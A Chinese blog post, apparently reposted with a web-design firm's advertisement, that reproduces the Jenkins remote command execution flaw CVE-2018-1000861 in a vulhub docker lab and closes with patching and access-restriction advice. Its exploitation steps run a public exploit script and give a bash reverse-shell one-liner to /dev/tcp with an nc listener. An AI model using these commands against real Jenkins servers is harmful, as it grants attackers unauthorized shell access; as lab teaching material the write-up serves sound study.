這篇文章給大家分享的是有關(guān)Jenkins遠(yuǎn)程命令執(zhí)行漏洞的示例分析的內(nèi)容。小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過(guò)來(lái)看看吧。
創(chuàng)新互聯(lián)堅(jiān)持“要么做到,要么別承諾”的工作理念,服務(wù)領(lǐng)域包括:成都網(wǎng)站制作、網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣等服務(wù),滿足客戶于互聯(lián)網(wǎng)時(shí)代的久治網(wǎng)站設(shè)計(jì)、移動(dòng)媒體設(shè)計(jì)的需求,幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡(luò)建設(shè)合作伙伴!
Jenkins自動(dòng)化部署可以解決集成、測(cè)試、部署等重復(fù)性的工作,工具集成的效率明顯高于人工操作;并且持續(xù)集成可以更早的獲取代碼變更的信息,從而更早的進(jìn)入測(cè)試階段,更早的發(fā)現(xiàn)問(wèn)題,這樣解決問(wèn)題的成本就會(huì)顯著下降:持續(xù)集成縮短了從開(kāi)發(fā)、集成、測(cè)試、部署各個(gè)環(huán)節(jié)的時(shí)間,從而也就縮短了中間出現(xiàn)的等待時(shí)間;持續(xù)集成也意味著開(kāi)發(fā)、集成、測(cè)試、部署得以持續(xù)。
Jenkins使用Stapler框架開(kāi)發(fā),其允許用戶通過(guò)URL PATH來(lái)調(diào)用一次public方法。由于這個(gè)過(guò)程沒(méi)有做限制,攻擊者可以構(gòu)造一些特殊的PATH來(lái)執(zhí)行一些敏感的Java方法。通過(guò)這個(gè)漏洞,可以找到很多可供利用的利用鏈。其中最嚴(yán)重的就是繞過(guò)Groovy沙盒導(dǎo)致未授權(quán)用戶可執(zhí)行任意命令:Jenkins在沙盒中執(zhí)行Groovy前會(huì)先檢查腳本是否有錯(cuò)誤,檢查操作是沒(méi)有沙盒的,攻擊者可以通過(guò)Meta-Programming的方式,在檢查這個(gè)步驟時(shí)執(zhí)行任意命令。
2.153 and earlier
LTS 2.138.3 and earlier
1. 本次實(shí)驗(yàn)靶場(chǎng)使用vulhub中docker搭建,vulhub下載地址:
https://github.com/vulhub/vulhub
2. 然后在虛擬機(jī)中安裝docker,以及安裝docker-compose命令,安裝方法請(qǐng)自行百度
3. 下載完成后傳入安裝了虛擬機(jī),然后進(jìn)入相關(guān)漏洞目錄
cd vulhub-master/jenkins/CVE-2018-1000861/
4.使用docker-compose up -d運(yùn)行漏洞環(huán)境
5. 環(huán)境啟動(dòng)后,訪問(wèn)http://your-ip:8080即可看到一個(gè)已經(jīng)成功初始化的Jenkins
1. 使用一下命令查看目標(biāo)的版本
curl -s -I http://your-ip:8080|grep X-Jenkins
2.由于此漏洞是沒(méi)有回顯的,這里使用GitHub上漏exp執(zhí)行命令。注:也可使用burp抓包執(zhí)行
exp下載地址:https://github.com/orangetw/awesome-jenkins-rce-2019
下載完成后使用python2執(zhí)行檢查漏洞python2 exp.py http://your-ip:8080 “curl DNSlog ”
3.由于此漏洞沒(méi)有回顯,這里直接反彈shell //注:反彈shell需要base64加密
bash -i >& /dev/tcp/your-ip/port 0>&1
base64加密網(wǎng)址:http://www.jackson-t.ca/runtime-exec-payloads.html
3.1然后在nc上監(jiān)聽(tīng)shell的ip和端口,使用exp發(fā)送加密后的shell
小結(jié)
1. 本次漏洞復(fù)現(xiàn)需要使用到docker環(huán)境,需要會(huì)用docker基本命令
2. 需要使用到linux相關(guān)的命令,以及l(fā)inux反彈shell的語(yǔ)法
1.升級(jí)到最新版本或打上相關(guān)補(bǔ)丁
2.盡量不要開(kāi)放到公網(wǎng)上
3.限制IP訪問(wèn)
感謝各位的閱讀!關(guān)于“Jenkins遠(yuǎn)程命令執(zhí)行漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,讓大家可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!